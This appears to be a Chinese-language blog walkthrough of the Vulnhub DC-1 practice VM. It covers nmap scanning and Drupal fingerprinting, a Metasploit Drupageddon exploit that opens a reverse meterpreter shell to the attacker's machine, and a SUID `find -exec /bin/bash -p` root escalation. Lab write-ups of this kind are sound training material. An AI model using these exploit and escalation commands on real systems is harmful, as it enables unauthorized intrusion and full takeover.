Vulnhub-DC1

1. 环境准备

Vulnhub-DC1靶机一台 IP未知

下载页面:https://www.vulnhub.com/entry/dc-1,292/

kali 攻击者 IP 192.168.229.128

VM网卡 NAT模式

靶机和攻击机在同一网段

 

2. 信息收集

2.1 靶机IP获取

由于靶机IP未知,所以我们需要预先收集靶机IP

这里我是用nmap来扫描靶机所在网段

也可以直接用arp-scan -l 来获取,然后再用nmap扫描指定IP

┌──(root㉿kali)-[~]
└─# nmap -sn 192.168.229.0/24

只做扫描存活主机 不扫描端口

Screenshot 2023-09-25 203543

疑似IP位192.168.229.136

对特定IP扫描

┌──(root㉿kali)-[~]
└─# nmap -p- -T4 -A -sV 192.168.229.136

Screenshot 2023-09-25 203714

发现开了22、80、111、47685端口

47685最可疑 但是跑的服务是RPC 我们估计用不着 111也是 如果要用这两个需要进一步信息收集

22 没啥用 没用户名密码

所以我们锁定再80端口

访问80端口

Screenshot 2023-09-25 203941

猛的一看感觉有点像sql注入 本人对sql注入不太熟悉 我们继续观察一下

发现Powered by Drupal

在我印象之中好像有工具可以扫描这玩意

经过查询 我们可以用这个工具

Droopescan

使用方法:https://cloud.tencent.com/developer/news/129232

┌──(root㉿kali)-[~]
└─# droopescan -h
usage: droopescan (sub-commands ...) [options ...] {arguments ...}

    |
 ___| ___  ___  ___  ___  ___  ___  ___  ___  ___
|   )|   )|   )|   )|   )|___)|___ |    |   )|   )
|__/ |    |__/ |__/ |__/ |__   __/ |__  |__/||  /
                    |
=================================================

commands:

  scan
    cms scanning functionality.

  stats
    shows scanner status & capabilities.

options:
  -h, --help  show this help message and exit
  --debug     toggle debug output
  --quiet     suppress all output

Example invocations: 
  droopescan scan drupal -u URL_HERE
  droopescan scan silverstripe -u URL_HERE

More info: 
  droopescan scan --help
 
Please see the README file for information regarding proxies.
┌──(root㉿kali)-[~]
└─# droopescan scan drupal -u http://192.168.229.136

收集信息

Screenshot 2023-09-25 204313

看到这几个版本 那我考虑能不能找一找有没有对应的漏洞

我们打开exploit-db

Screenshot 2023-09-25 204508

好像还蛮多的

那我们考虑看看有没有现成的POC尝试一下

 

3. 漏洞利用

打开metasploit

┌──(root㉿kali)-[~]
└─# msfconsole
msf6 > search drupal

Screenshot 2023-09-25 204745

我们用这个试试 好像还真的是SQL注入 盲注我就不试了

 

msf6 > use 2
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/drupal_drupageddon) > show options

Module options (exploit/multi/http/drupal_drupageddon):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usin
                                         g-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The target URI of the Drupal installation
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.229.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Drupal 7.0 - 7.31 (form-cache PHP injection method)



View the full module info with the info, or info -d command.

msf6 exploit(multi/http/drupal_drupageddon) > set RHOSTS 192.168.229.136
RHOSTS => 192.168.229.136

设置完受害者IP之后 exploit

Screenshot 2023-09-25 204958

直接拿到meterpreter

 

然后我们开启交互式shell

shell
python -c 'import pty;pty.spawn("/bin/bash")'
id

Screenshot 2023-09-25 205132

 

尝试进入/root 权限不够

那我们进入/home目录看看有什么

有个flag4

我们进去看看

Screenshot 2023-09-25 210602

emmm get到第一个flag

好吧 被嘲讽了一顿

显然不是最终的flag

看内容貌似要让我们提权到root才能get真shell

Screenshot 2023-09-25 210734

 

4. 权限提升

我第一个反应是找suid 这是我学的第一个权限提升的方法 具体方法网站里面有

这题可以用这个解出来

www-data@DC-1:/home/flag4$ find / -user root -perm -4000 2>/dev/null -exec ls -l {} \;

我曾经被告诫过 一定不能把比如编辑器vi find等给设置suid 我们可以用这个轻松获得root权限

但是这题 明显出现了这个问题

Screenshot 2023-09-25 210939

那就简单了

我们来到这个网站

https://gtfobins.github.io/

他能根据我们输入的指令来生成漏洞利用代码

Screenshot 2023-09-25 211247

 

搜索suid的find

 

好 使用这个代码

www-data@DC-1:/home/flag4$ ./find . -exec /bin/sh -p \; -quit
./find . -exec /bin/sh -p \; -quit
bash: ./find: No such file or directory

发现找不到find

我们可以添加环境变量进去也可以找到find位置

www-data@DC-1:/home/flag4$ which find
which find
/usr/bin/find
www-data@DC-1:/home/flag4$ /usr/bin/find . -exec /bin/sh -p \; -quit
/usr/bin/find . -exec /bin/sh -p \; -quit
/bin/sh: 0: Illegal option -p
/bin/sh: 0: Illegal option -p
/bin/sh: 0: Illegal option -p
/bin/sh: 0: Illegal option -p
/bin/sh: 0: Illegal option -p
/bin/sh: 0: Illegal option -p

发现好像不行 -p参数非法

经过一些尝试 发现是/bin/sh不行

我们用/bin/bash

www-data@DC-1:/usr/bin$ ./find . -exec /bin/bash -p \; -quit

Screenshot 2023-09-25 211542

很好 我们得到了root权限

cd /root
ls -al
cat thefin*

Screenshot 2023-09-25 211701

好了 拿到了最终flag

实验结束

 

 

 

© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片